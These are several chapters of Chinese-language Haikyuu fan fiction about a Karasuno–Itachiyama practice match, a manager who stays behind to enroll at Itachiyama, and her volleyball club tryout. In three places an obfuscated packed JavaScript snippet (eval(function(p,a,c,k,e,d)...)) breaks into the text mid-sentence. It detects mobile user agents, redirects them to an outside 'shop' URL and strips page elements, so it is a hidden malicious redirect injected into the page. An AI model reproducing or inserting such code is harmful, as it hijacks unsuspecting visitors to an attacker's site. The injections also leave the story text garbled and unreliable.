影山飞雄正奇怪为什么山口好好地会忽然呛成这样，结果他的另一边，井闼山的队内也闹出了不小的动静。 浦野和希不知道为什么会打翻面前的温牛奶，撒出来的牛奶飞溅开来，打湿了在他对面坐着的矮个子雀斑少年的衣领。 正是那个在训练赛第一天，就被浦野和希讽刺过的自由人。 作为和浦野和希的同届，他本来已经主动过来一起吃饭，打算和浦野冰释前嫌的。 但是倒在身上的牛奶，显然让他放弃了最后一丝和解的念头。 脸上带着难堪的神情，他一下子站了起来，用怨恨的眼神最后看了一眼浦野和希。 转身快步离开。 “喂，浦野。”坐在领桌的古森元也有些看不过去了，“阿和他明明好心过来和你一起——” “古森前辈，”浦野和希这才慢慢扶起打翻的杯子，头也不抬说着：“我本来就不需要他示好，而且，如果他有古森前辈您的球技，就不需要做这种无谓的事情。” 虽然他确实是因为……别的原因才失手打翻了杯子，但选择不道歉也是他的本意。 他不需要任何人的善意，他只需要在球场上赢下去。 尤其是今天。 他一定要赢过乌野，证明他才是这里最优秀的二传手，而不是那个影山飞雄。 像是对危险的预知，浦野和希这么想着的时候，影山飞雄也向他投来了目光。 被疏离，被不理解，走向极端然后浑身都带上了刺的人——影山飞雄好像忽然看到了自己过去的样子，只是如今的浦野和希和过去的他相比，显得更加变本加厉。 如果没有遇到雪村夜芙，没有来到乌野，说不定……他也会成为这样的人吧？ 还好，影山飞雄遇到了雪村夜芙，又来到了乌野。 还好。 感受过光的人，是不会想要回到阴暗的角落里的。 影山飞雄收回目光，专心帮雪村夜芙吃掉她讨厌的花椰菜。 吃饱了才有力气——然后他要去和乌野的大家一起，就算网的那边是井闼山也要努力赢下比赛。 …… 哨声响起，这场注定激烈的比赛开始了。 而这时候两个二传之间原本不动声色的博弈，完完全全暴露了所有人的面前，甚至盖过了双方攻手的扣球，成为了最惹人注目的存在。 浦野和希不会放过任何二次进攻的机会，而影山飞雄都会一一记下，然后在恰当的时候以扣球改传球的高超球技来回敬他。 二次进攻吗——影山飞雄看着浦野和希的眼神仿佛在说，这种手段他也会，甚至可以把它当作牵制拦网的手段，而不是单一的进攻方式。 浦野和希从未在球场上受到过这样的挑衅。 而且，他影山飞雄凭什么—— 凭什么以一年级生的身份加入青训？ 凭什么明明是和他一样烂的性格，偏偏他却被这么多人在乎着？ 凭什么去了乌野这种没落的学校，却还有资格和他站在同样的球场上？ 浦野和希满脑子都是对影山飞雄的敌意，而这样的不冷静，让他在发球中直接失误，过分用力的跳发，打出了一个势不可挡的——界外球。 “出界！”西谷夕偏过头闪开这颗球，甚至没有回头看就果断下了定论。 “西谷前辈帅气！” “好判断！” 乌野的大家气氛融洽，影山也已经学会了给队友以积极的回应。 而井闼山队内，所有人都疑惑地看着浦野和希。 那个严以律己又严以待人的浦野和希，居然也会犯这种错吗？ “抱歉……”浦野和希在打出那个球后就清醒了些，咬了咬牙，他说着：“不会再有下一次了……这样的失误。” 井闼山的教练看了他一眼，什么都没有说，只是在心里轻轻叹了一口气。 那孩子……把自己的弦绷得太紧了，而这次合宿训练，他的那根弦似乎隐隐有了断裂的预兆。 虽然短时间来看并不是什么好事，但是一个注定要坠落的人，在落下以后，即便摔断了腿也好，反而不必再担心那根注定会断掉的绳子了。 浦野和希深吸一口气，准备迎接乌野的发球。 ……影山飞雄的跳发。 兼具力量和速度，还有刁钻的落点— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097145|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —影山飞雄的发球也是乌野得分的武器之一。 古森元也在领教了两次影山飞雄的发球以后，这次终于勉强接起了一传，但是这个一传的位置和时机，却打乱了他们队内的节奏。 这一球打回乌野的半场，仍然是属于乌野的机会球。 这种时候，影山飞雄就会组织再次发动那个快攻—— 第一场比赛结束，出乎很多人的意料，乌野竟然以 25：22赢下了井闼山。 比赛的间隙，略微有些洁癖、头发微卷的井闼山主攻手终于忍无可忍，走到了浦野和希的面前。 “……佐久早前辈。”浦野和希放下手中的水壶，略微有些忐忑地站了起来。 “我说你啊，”佐久早皱着眉头说：“麻烦把球传给我——二次进攻什么的，可以少一点这种想法吗？” “不要把大家的比赛当成你一个的胜负游戏。” 浦野和希握了握拳，沉默了一会儿，在佐久早圣臣的面前到底还是放下了那点自尊。 他想赢，而按照他刚才的策略，井闼山却输给了乌野，所以他选择妥协。 “是……前辈。” 接下去的几场，两个球队综合实力的差距到底还是体现了出来。 32：30。 最后一场比赛也落下帷幕。 “抱歉……”缘下力咬着牙站了出来，“是我的原因。我太差劲了，我的一传……” 他没能接起的一传，实在是太多太多了。 如果是泽村前辈的话，一定能够接起来的——缘下力忍不住这么想着。 身为替补的时候，明明被球场上的每一分所震撼，迫不及待想要加入，但是等到真的站到球场上，才明白自己或许还是过于普通了。 他真的配得上这样的队友和对手吗？ “真的对不起——”缘下力九十度鞠躬，一直都不愿意抬起头。 整整十场比赛，无数颗球都让他陷入自我怀疑，甚至在终于结束了比赛的现在，他整个人都恍惚到有些站不稳了。 “阿力！” “缘下前辈！” 乌野的队员纷纷上前去安慰他，连影山也来不及先难受自己的输球，而是先担心起了缘下的情绪。 雪村夜芙连忙递上毛巾和水，田中接了过去，在西谷和日向的陪伴之下，扶着缘下坐到椅子上去休息。 乌养教练也走了过来，对着缘下不是很熟练地安慰着：“其实我很少看到进步这么快的选手，缘下。” “但你是为数不多的其中一个。” “是啊阿力！不要放弃啊！” “对啊，更何况也有我的失误在啊……” 影山飞雄也在一旁轻轻点头。 看到缘下逐渐又亮起来的眼神，乌野的所有人都松了口气。 雪村特地给缘下拿了两个能量果冻，收到了后者有些不好意思的感谢。 真是的……不仅拖后腿，还在这么多后辈面前这么矫情什么的——缘下尴尬地这么想着。 得更努力练球来回报才行啊。 这一天的比赛，乌野赢下4场，输了6场。 而作为总比分的获胜方，井闼山的队内士气却反而比乌野要更加平淡一些。 浦野和希明明赢了球，可是却并没有感觉到胜利的喜悦。 总觉得……缺了什么。 影山飞雄从雪村夜芙手里接过毛巾，往井闼山看了一眼，对上了浦野和希的目光。 他下意识把雪村的身影挡在了身后。 ……然后幼稚地向着对方瞪了回去。 27.临走前的托付 “我赢了。” 结束了一天的经理工作，雪村夜芙一个人在体育馆的一角训练的时候，浦野和希还是忍不住走了过来。 “今天的比赛，井闼山和乌野的……是我赢了。” 浦野和希接住了雪村对着墙打出去的球，然后这么说着。 雪村夜芙有些疑惑地转过身，问着：“所以呢？” “所以，”浦野和希看着她的眼睛一字一句说着，“我才是这里最厉害的二传。” 雪村夜芙愣住了。 啊？ 到底是什么意思……为什么特地跑来和她强调这个啊？ 完全想不明白。 “哦。”雪村夜芙只好敷衍地点了点头，然后向他伸出了手，“把球还给我。” 浦野和希抱着球后退了两步，眼里划过一丝意外。 这不是他想要的回答。 于是浦野皱着眉打算再说一遍：“我说——” “我听到了！”雪村夜芙打断他，“你说你才是最厉害的二传。” 所以把球还给她啊。 那颗球可是她的影山飞雄1号啊！拜托！！ 她特地带来井闼山陪自己的啊。 浦野和希抿了抿嘴，并没有注意到手里的球奇怪的地方，只固执地继续说着：“所以，受邀去青训的，本来应该是我才对。” “而不是你们乌野的那个二传。” “他不如我。” 雪村夜芙张了张嘴，终于理解了面前这个排球脑袋的脑回路。 “喂，我说。”雪村尽量耐心地去回答这个问题，“是，你们今天确实赢过了乌野。但……” “但论二传的实力，你不如他。” 浦野和希身后，不知道什么时候站了另一个人，接着雪村的话冷淡开口说了下去。 雪村夜芙诧异地看了过去。 口罩，天然卷黑发，眉上的黑痣。 佐久早圣臣，井闼山的王牌主攻手。 没想到他居然不是帮着自己队伍的二传说话，反而更认可影山飞雄吗？ 对了……青训。 他和影山飞雄一起参加了这一届春高前的国家青训，应该是那个时候认识的吧。 浦野和希像是犯错被抓到的小孩，转身在佐久早面前低下了头：“……前辈。” 佐久早从他手里拿过雪村夜芙的排球，顺手在手里转动的时候看到了这颗排球奇怪的名字。 影山飞雄……1号？ 这是什么奇怪的名字。 雪村夜芙装作什么都不知道的走上前，从佐久早手中拿回了那颗球，小声和他说谢谢。 犹豫了一下，佐久早还是没有问出关于这颗排球名字的问题。 又看了一眼雪村，佐久早转身走过浦野和希身边，对他说：“回去训练。” “……是。” 雪村夜芙也收回了目光。 觉得自己是最厉害的二传什么的，其实也无可厚非。 只是为什么，非要让她也承认他这种想法？ 这个人好奇怪。 一样是二传，她还是更喜欢影山那种一眼就能看穿的单细胞。 把手里的影山飞雄1号又抛了出去，雪村夜芙心里这么想着。 和井闼山的训练赛，是合宿结束前最后一天正式训练了。 而明天，各个球队的教练会分别到其他球队里进行考察指导，帮助球队做最后的反省总结后，这场春日合宿也就结束了。 在这以后，其他学校的球队带着学到的新技能和新经验，也该离开井闼山了。 而他们之间的下次比赛，很可能就是在全国比赛的球场上了。 第二天中午。 武田老师已经出发去准备车子，开着导航去附近的加油站什么的。 而大家也整理好了自己的行李，打包好带到了体育馆，准备再练一会儿球，然后随时出发。 谷地弯腰在墙边放好了自己的背包，然后忽然发现雪村夜芙的行李箱并不在这里。 “诶？雪村学妹你还没有收拾好东西带过来吗？要不要我回去帮你一起整理？”谷地仁花热心地问。 “啊不用的，我——” 明天就是井闼山新生开学报到日的第一天了，她已经没必要再回宫城一趟了。 “谷地学姐，有件事我一直没有告诉你……” “诶……？” “奇怪，影山居然不在体育馆里吗？”日向抱着排球疑惑地问，“太奇怪了吧？去哪里了啊？” 马上就要回去了，他还打算再练习一会儿新学的扣球什么的啊。 结果影山这家伙居然破天荒的不在体育馆里自主训练吗？ 影山飞雄犹豫了很久，还是决定去做一件事。 对他来说整个井闼山学院里，勉强多说了几句话、算得上认识的人，也就只有那一个了吧。 佐久早圣臣，佐久早前辈。 所以中午吃完午饭没有立刻回到体育馆，影山飞雄反而跟在了佐久早的身后。 “……”佐久早圣臣在宿舍楼下终于停住了脚步。 他转身用带着怨气的目光看向这个跟了自己一路、明明一副有事的样子，但偏偏什么都还不做的影山飞雄。 到底是要干嘛……他还赶着回去洗澡啊。 高强度打了这么多天训练赛，他需要彻彻底底地杀菌好吗？ 影山飞雄看到佐久早转身，瞬间立正然后恭恭敬敬喊了一声“前辈”。 戴着口罩的佐久早显得有些阴郁，眼睛直勾勾盯着影山飞雄。 影山不自觉把头偏到了一边。 “那个、前辈，我……”他还是有些犹豫着说不出口。 “说不出来就别说了。”佐久早一副要转身走掉的样子。 “等一下！佐久早前辈！” 影山飞雄握了握拳，跑上前拦在了佐久早面前，下定了某种决心。 他深吸了一口气，然后在他面前深深鞠躬。 “今天我们就要回宫城了……” “等我走以后，可不可以麻烦前辈您多多关照一下雪村同学……”影山飞雄有些艰难地说着。 “雪村？”佐久早的声音从口罩底下闷闷地传了出来，看着影山飞雄在他面前低着头，他又想起了那个有着奇怪名字的排球。 “你是说，你们那个红色头发……不算太矮……也喜欢打排球的经理？” 这是目前佐久早对雪村夜芙的全部印象了。 “是、是的！”影山飞雄这么回答着。 “但是雪村她之后会留在这里，作为井闼山的新生入学，所以……希望前辈可以照看一二。” 佐久早歪头看着面前的影山飞雄，脸上露出一抹不解。 这种复杂的表情，这么艰难说出口的请求……请问这是在托孤吗？ 佐久早内心默默吐槽。 又不是以后见不到了，他们井闼山是什么吃人的地方吗？ “为什么是我？” “哦，你在这里好像也没认识别的人了。不对，古森、古森你也见过的……” 看着面前一直弯着腰的黑色脑袋，佐久早忍不住碎碎念。 “还请前辈您和古森前辈多多关照——” 佐久早原本应该脱口而出“不要”之类的话，但却忽然想到了昨天傍晚的那一幕。 那个独自在角落练习排球的女孩子……还有那个他们队里招人烦的臭小孩浦野和希。 奇怪他们两个又是怎么认识的…… 但是好像是浦野单方面去招惹那个叫雪村的女孩子…… 所以如果那小子再惹祸的话，好像身为下一任队长的他也不得不管…… 过了好一会儿，佐久早终于慢吞吞答应了下来。 “……知道了。” 影山飞雄猛然抬起了头，大声说着：“谢谢前辈！” 佐久早又在内心嘀咕了几句，然后绕过影山飞雄走开了。 井闼山学院的停车场，武田老师已经发动了大巴车，准备好出发了。 穿着黑色校服的一群乌野队员乖乖排着队准备上车。 雪村夜芙手里什么都没有拿，为了不引起大家的注意默默走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116119|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在最后。 影山也慢吞吞地落在大部队的最后，走在了雪村的身边。 等到大家基本都上车在位置上坐好，武田老师在车门口向着雪村夜芙点了点头，然后也转身上了车。 “影山，你也快上车吧。”武田一铁不放心地回头催促他。 “……是。”影山飞雄嘴上这么说着，结果行动还是没有跟上。 雪村夜芙忍不住推了他一把，就像每次她推着他走向乌野，走向属于他的队友一样。 “快上去啦，大家都在等你一起回去了啊。”雪村一边推他一边这么说着。 影山飞雄下意识握住了她的手腕，然后又触电般放开。 “那我……我要走了。” 影山飞雄看向她的目光，不自觉流露出名为不舍得的情绪，虽然他自己或许都没有意识到。 “嗯，快点走啦。”被影山这么看着，雪村夜芙也差点挤不出来笑容。 用两只手用力推着他走到车门边，然后在影山走上大巴车台阶上的时候，雪村忽然又开口。 她指着东京体育馆的方向，叫住了他：“喂，影山。” “我们下次……在东京体育馆见面吧？” 一起，一起站在全国比赛的球场上什么的。 影山飞雄愣了愣，然后明白了雪村在说什么。 “会的，我一定会来的。” 赢下宫城预选赛，赢下来东京比赛的资格，赢下来见雪村夜芙的机会。 他一定一定要做到。 …… 车门被关上了，影山站在门后，看着雪村夜芙的身影被挡在门后。 车子发动了。 雪村忍不住向着大巴车移动的方向小跑着追了几步。 乌野的大家都离开了，而留在井闼山是她自己做出的选择，大家能陪她走过最初最陌生的一段时间，已经很好了。 只是经历分开这种事，还是让她忍不住觉得难过。 大巴车开出了停车场，雪村的影子已经看不见了。 影山终于失望地收回了目光，然后沮丧地把头靠在了车窗上。 隔着过道的月岛早就注意到了发生什么。 皱着眉头纠结了一会儿，他和身边的山口说了什么，后者从口袋里掏出一颗草莓软糖放到月岛萤的手心里。 月岛把那颗糖往影山手里塞了过去。 啧，这副样子…… 总不会半路要哭出声音来吧？ “诶？雪村学妹呢？” 日向翔阳也终于发现了不对，发现雪村不在车上的时候吓了一大跳。 他赶紧跑到了车子前部，急切说着：“啊啊啊武田老师，雪村同学好像没上车啊！我们得快掉头去接她吧？” “她一个人呆在陌生学校什么的，会很害怕吧……” “那个……日向同学。”乌养教练有点不知道怎么开口。 “雪村同学她，其实并不是乌野的新生。她原本就准备入学井闼山的。” 乌养教练也是前不久才知道的，但是看得出来雪村在这群臭小子当中很受欢迎，于是一直也没敢说出来。 “所以，她没办法和我们一起回去了，因为要留在东京念书什么的。” “啊？！”日向一脸的震惊和失落。 “不能一直当我们的经理……不能留着乌野吗？” “嗯……” “怎么会这样……” 因为回去的路上少了一个人，整个乌野的情绪都有些低落。 月岛萤头皮发麻——拜这群单细胞笨蛋所赐，整个车子里的氛围已经和生离死别没什么区别了…… 到底是在干什么啊……人家不过是留在那边念书而已啊？！ 尤其是影山飞雄那个笨蛋！ 笨蛋本人影山飞雄完全不知道自己在被骂。 他只是把校服脱下来盖在了脸上，把这种让自己都觉得莫名其妙的情绪，藏在了很后面。 然后他又忽然想起第一次见雪村的时候，她把他从校服底下拽了出来。 如果这次也能这样，就好了。 28.难缠的家伙 回到宫城的时候，天已经微微暗了下来。 影山飞雄在跨进家门前一秒，把很早就编辑好的 Line 的消息又仔细检查了一遍，然后发了出去。 对话框显示的备注是【夜芙】。 输入文字显示为【我到家了--影山飞雄】。 点击【发送】。 按灭了屏幕，然后把开启了震动模式的手机放在贴身的口袋里——这样才能第一时间知道雪村回了消息。 做完这些，影山飞雄才在门口慢吞吞开始换鞋。 “回来了啊，飞雄。” 影山飞雄的妈妈正忙着收拾换季的衣服，听到声音从房间里出来迎接他。 “怎么样，合宿生活还习惯吗？” “嗯……很好。”看着妈妈关心的眼神，影山飞雄又补了一句，“吃的东西很好，睡得也很好。” “啊，那妈妈就放心了。”她笑着说。 影山飞雄忽然发现妈妈手里拿着一条很眼熟的毛线围巾。 灰粉色，上面是麋鹿和松树的图案。 影山飞雄呆了呆，然后有些迟疑地开口，“那个围巾……” “啊，我正要问呢，”妈妈扭头向着厨房喊，“美羽，你的围巾要送去干洗吗？” “真是的，东西怎么可以乱放呢？怎么都丢到你弟弟的房间里去了啊……” 影山飞雄用力甩掉了刚刚解开鞋带的运动鞋，顾不上找到自己的拖鞋穿上，踩着袜子就冲了过来。 “不是的，这个围巾是我的……”他结结巴巴说着。 是很久很久之前，他打初中最后那场排球比赛的时候，雪村借给他的围巾。 他一直都记得，但是一直都……没有还。 而是放在了房间每天都能看见的地方。 “诶？”影山妈妈有些疑惑，“可是这个围巾……” 好像是女孩子的围巾啊？ “什么围巾啊？”影山美羽从厨房探出了半个身子看过来，她正和爸爸一起在准备晚饭。 “没有！没事了！”影山飞雄抢答，顺便从妈妈手里抢过那条围巾抱在了怀里，慌忙跑回了自己的房间。 留下妈妈还在原地思考，“奇怪了啊，什么时候给他买的这款围巾，完全不记得了……” “啊，所以要帮你送去干洗吗？飞雄？” “不用……我自己洗就可以！”影山飞雄的声音从房间里传了出来。 …… 春日合宿结束后的第二天，东京井闼山学院。 雪村夜芙一早就办完了入学手续，并从之前的临时合宿房间搬到了正式的女生宿舍。 竹取加野发来消息，说她和黑川峻已经准备出发去搭新干线，下午就会抵达东京。 朋友的即将到来让雪村夜芙轻松不少。 雪村成在雪村夜芙的坚持下没有亲自赶来东京，但还是通过宅急便给她寄来了不少日用品和她喜欢的玩偶。 还有春日奈替她挑选的衣物和被褥。 花费了一上午整理，那个原本空荡荡的宿舍单间就被她布置的温馨而可爱了。 蓝色的卡比兽靠在窗台上，大尾巴的伊布放在枕头边，而影山飞雄1号被挂在门后面。 雪村夜芙满意地看了看自己即将度过三年的房间，然后换上了刚刚领到的井闼山的运动校服，重新拿起那颗影山飞雄1号排球，准备去体育馆训练。 毕竟通过那天宫下由纪的回答，她合理推测申请入部的新生过多的话，或许在入部测试当中就会面临很激烈的竞争。 助跑摸高、多步伐移动、发球、接球…… 这些都会是考核新部员的测试手段。 她得再多模拟几次才行，以免在走到起跑线之前就先被淘汰了。 而合宿的时候，她也记下了很多新的技能和策略，但这些也都需要她通过练习慢慢消化才行。 没时间休息了。 顶着中午开始变得有些炎热的阳光，雪村换好衣服，把红色长发高高扎起后戴上了鸭舌帽，抱着排球向体育馆出发。 4号体育馆内，少了其他几支球队的球场显得有些空荡荡的，只有井闼山的男子排球部还在这里继续训练。 雪村夜芙经过的时候，下意识顿住脚步向里面看去。 之前每次来四号体育馆，还没走到里面，乌野队员吵吵闹闹的声音就传了出来。 可能是影山又在和日向吵架，又或者是西谷又在一边大叫着旋转闪电什么的一边滚着去接球。 总之很吵。 也很有趣。 回忆起合宿期好玩的事情，雪村夜芙弯了弯嘴角，然后打算离开。 四号体育馆是男排训练的地方，不再是经理的她以后都不必要再去。 她得想办法借用女排的体育馆，如果能趁着这个机会提前和前辈熟悉起来，得到些入部信息的话就更好了。 而在她正思考着的时候—— “咚——”一颗排球从四号体育馆里高高弹起，然后冲出了体育馆的大门，向着雪村夜芙一下下地跳了过来，最后滚到了她的面前。 雪村夜芙下意识抬脚把它拦住，没让它滚得更远。 体育馆内，队员的目光也跟着那颗球落到了雪村夜芙身上。 “那边的同学——” 有人向着她喊道，“可以帮忙把球扔回来吗？” 雪村夜芙点了点头，弯腰捡起那颗排球，然后顺手用力把球打了回去。 “不错啊……”有队员夸道。 体育馆内，浦野和希刚刚结束一组训练后正要休息。 雪村打回来的这颗球让浦野下意识就看了过去，然后一眼就愣住了。 那是……乌野的经理？ 居然没有回去吗？ 不对，她穿着的是井闼山的运动校服。 浦野和希放下手里的水壶，用手背擦去唇边的水渍，眼神落在雪村夜芙身上，心里再次有了计较。 眼看雪村要离开，浦野和希犹豫了一下，目光向另一侧看去。 刻意坐在离大家很远的地方休息，佐久早圣臣闭着眼睛养神中，没有注意到浦野和希这边。 浦野立刻站了起来，三两步跑出了馆外。 既然有这样的机会，那他一定要问清楚。 “喂，”浦野和希追上了雪村夜芙，声音带着刻意的冷硬：“你不是乌野的经理吗？” “为什么还在这？” 雪村夜芙听见声音转身，又看见了那个井闼山奇怪的二传。 在心里叹了口气，她到底还是挂上了礼貌的笑容，向着浦野和希伸出了手。 “雪村夜芙，一年级……请多指教。” 雪村心想着：拜托，当作第一次见面一样，大家和平地交换名字，然后各自走开好吗？ 结果浦野和希完全没有辜负她做好的最坏打算，忽略了雪村伸出去的手。 抬着下巴，仗着身高优势居高临下看着面前抱着球的少女，浦野不依不饶：“所以明明是井闼山的新生，为什么要去乌野当经理？” 其实他更想问的是，为什么觉得影山飞雄是比他更厉害的二传。 明明和他才是一个学校，凭什么偏偏帮着乌野的那群家伙，还向着乌野的那个二传说话。 说什么影山飞雄是“最厉害的二传”什么的这种话，浦野和希之前介意，现在更介意了。 井闼山的新生啊……明明，应该向着他才对。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127830|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>面前深蓝色汗带的少年抿着唇，倔强地盯着雪村夜芙，非得向她要一个合理的解释不可。 “……” 雪村夜芙心里反复骂了浦野和希好几遍，但脸上还是挂着得体的笑容。 没有乌野的大家作为后盾，她既不打算和浦野和希成为朋友，也不打算和他闹翻。 总之离远一点最好。 收回了手，雪村夜芙对着他点了点头，说了句“很高兴认识你”，然后打算绕过他继续往三号体育馆走去。 浦野和希在雪村跨出去的下一秒，脚步移动，又完完全全挡在了她面前，并且这次雪村夜芙一头撞上了他的胸口。 雪村夜芙懵了一会儿，随后立刻后退，双手的拳头捏紧。 一、股、汗、臭、味—— 还靠她这么近到底是要干什么啊？！ 浦野和希则在被雪村撞了一下后心情忽然就变得很好，看到雪村脸上生气的表情，更是不自觉弯起嘴角笑了出来。 好像发现了很有趣的事情，比如让雪村生气什么的。 因为生气的话，眼睛会亮亮的，脸上也不是那种疏离的笑容，总之会更想看到这样子的她。 而且合宿的时候，那个讨人厌的乌野二传总是会在，但是现在好了——不用看到他们一起出现什么的。 浦野和希心情更好了。 雪村夜芙抬头看到浦野的神情，只觉得真是一个大麻烦。 这算什么啊，影山飞雄给她挖的坑吗？ 所以到底要她怎样，承认他是比影山更厉害的二传吗？ “那个……雪村？” 正在雪村夜芙单方面觉得尴尬的时候，熟悉的声音在不远处出现。 雪村夜芙的眼睛一瞬间亮了起来。 啊，第一次觉得竹取加野像救星一样闪亮。 “加野！”雪村夜芙转身，向着刚刚完成报道的好友挥手，想要从浦野身边走开。 浦野和希下意识拉住了她的胳膊，皱着眉说道：“你还没有回答我。” 正往这边跑来的竹取加野，见到好友的笑意还没有完全表现，先露出了一些不解。 诶？雪村男朋友什么的，她在宫城的时候见过一面。 好像不是这个吧？ 虽然这个好像也不差？ 所以是和上一个分手了吗？ 竹取看向雪村的目光带上了探究，多年的好友经验让雪村一下子就明白了过来竹取在想什么—— “不是……”雪村夜芙有点无力，“不是你想的那样啊！” 浦野和希疑惑，“什么？” 雪村夜芙用力用另一只手掰开浦野抓着自己胳膊的手指，忽然硬气了起来。 “我为什么要回答你的问题啊？” 浦野和希不说话了，只是固执地挡在她面前。 “……她为什么要回答你的问题？” 黑川峻背上背着自己的双肩包，双手拿满了属于竹取的大大小小七八个包包，还有两只行李箱，终于艰难地赶到了竹取加野身边。 然后对着浦野和希发出了同样的疑惑。 雪村夜芙立刻甩开了浦野和希的手。 还好还好，幼驯染一百米定律什么的，还是生效了。 真是难缠的家伙！！ 都怪影山那个笨蛋！！ 要比谁的二传更厉害什么的，那他干脆杀到乌野去比好了啊，为什么倒霉被质问的人是她啊？！ 宫城。 还没有开学、正在活动中心的排球场上一个人练球的影山飞雄，忽然狠狠打了一个喷嚏。 谁在骂我吗……他思考了一秒。 说起来，这个没有雪村在的排球场，真是……太糟糕了。 29.入部测试 新生开学的一天，也是社团活动的纳新日。 开学典礼刚刚结束，三号体育馆的门口就已经排起了很长的队伍。 手里拿着入部申请挤在体育馆门口的通道内，她们都是想要加入井闼山女子排球部的新生。 “不愧是冠军啊……” 从周围那些兴奋的女孩子的对话里，夹在人群当中的竹取加野刚刚被科普了这个事实。 什么春高、IH 之类的赛事，听说井闼山女排已经连续两届蝉联冠军了，这是井闼山的男排也没能做到的事。 实在是……太了不起了吧！ 全日本最喜欢排球的女孩子，估计全都汇集到了这里吧？！ 要不然怎么会有这么多人啊？！ 竹取加野在心里这么感慨着，用笔快速在好不容易拿到的女排入部申请表上填写着信息。 【姓名：雪村夜芙】 【班级：一年级六班】 【身高：……】 …… 【其他社团意向：无】 黑川峻在她身边守着，很努力地把竹取和周围的女孩子隔开，让她写字的手不至于被别人不小心撞到。 偶尔有女孩子撞到了黑川峻身上，不好意思地道歉的同时，也会疑惑地自言自语，“这不是女排入部申请的地方吗……” 怎么这个高个子男生也在排队啊？ 黑川峻假装什么都没听到，继续在人群里守着竹取填入部申请。 而雪村夜芙现在还在从学校礼堂赶来体育馆的路上。 一天前。 佐藤裕子笑眯眯地看着面前额头还带着汗的红发少女，重复着：“没有新生会拒绝这种机会哦。” 成为新生代表并在开学典礼上发言，以学生代表之一的身份和来校参观的外宾交流——这样的荣誉，是千分之一的。 而入学考核中，雪村夜芙的表现和各项测试成绩都说明了她是这次新生当中最合适的人选。 佐藤当然会选她。 但是入学典礼之后就是社团入部考核，担心会影响排球部的遴选，雪村夜芙有些犹豫。 “啊……为了社团活动放弃其他所有选择——可不明智呢。” 佐藤裕子完全知道这孩子在想什么，循循善诱：“真正优秀的人是不会放弃任何让自己成长的机会的。” 最终雪村夜芙还是答应了下来。 结果在毕业典礼上作为新生代表发言后，她果然还是被绊住无法马上离场，不得不临时发Line向竹取求救。 竹取加野收到消息，回复了一句【放心没问题全都交给我！】，然后立刻赶往女子排球部的社团招新处。 但还是晚了一步。 负责招新的女排队员已经准备离开了，并表示所有入部申请表都已经发完。 整整一百份入部申请，在入学典礼结束以后就被赶来的学妹们领取一空了。 竹取加野两眼一黑。 这种事都办不好，她不会要失去夜芙这个多年的好友了吧—— 绝对不可以啊！！ 正这么想着，一个带着黑框眼镜的男生忽然找上了她。 “那个，你就是竹取同学吧？” “我去班上找你，听说你来排球招新这边了——” 然而竹取双目无神，似乎完全没有注意到他。 “那个……我是翻译社的社长！拜托！请务必加入我们翻译社好吗？”那个男生提高了音量。 “诶？我吗？” 竹取回过神来。 她原本的打算还是选个文学社之类的看看书就好了，结果这个翻译社是……？ “是啊是你！”黑框眼镜的男生激动地说着，“我从佐藤老师那边了解到的，竹取同学你是这次新生中唯一一个外语拿到满分的人。” “入学考试那种变态的题目，还有译文部分那么严苛的给分条件，满分实在是……太、太了不起了！” 竹取加野这时候根本没心情听这种话。 抓了抓头发，看着女排部的学姐已经离开了，她急躁道：“这事先不管啦！我现在需要排球部的入部申请表啊！拜托现在那张纸是我的命好吗！” 自称翻译社社长的男生呆了呆。 “诶？竹取同学要加入女排部吗？” “不是啊……但是反正我需要那个啊！！” “那如果我帮竹取同学拿到的话，”他仿佛看到了希望，“竹取同学是不是就可以加入我们翻译社了？！” 竹取加野的眼睛一下子瞪大了，双手抓住了面前男生的胳膊：“成交！！” “拜托请一定要帮我找来啊啊啊！！” …… 雪村夜芙气喘吁吁赶到的时候，竹取加野已经帮她把整张报名表都填好了。 一边说着抱歉之类的话，雪村艰难地往竹取排队的地方走过去。 “你终于来了！快看看我有没有写错的地方！”竹取把报名表塞到了雪村的手里。 雪村夜芙仔仔细细检查报名表的每一项内容，发现填写的信息完全都没有出错。 “加野——”雪村夜芙忍不住去抱她的好友。 “好啦，感觉马上就要轮到你了！”竹取拍了拍好友的背。 “虽然感觉排球部的测试很不简单，但总之你一定可以的！” “我永远都相信你！” 竹取加野眼睛亮亮地看着雪村夜芙，她身边的黑川也干巴巴补了一句“我也是。” 雪村很用力很用力点头。 而这时候，上一组申请入部的女孩子结束了测试。 女排部的助理教练走了出来，又按顺序让接下去的一组女生做好准备。 雪村夜芙就在其中。 她带着些微的忐忑看了竹取一眼，后者向她比了加油的手势。 雪村深呼一口气，踏入了这个她心心念念的球场。 过去两个月里，她在梦中都想来的地方。 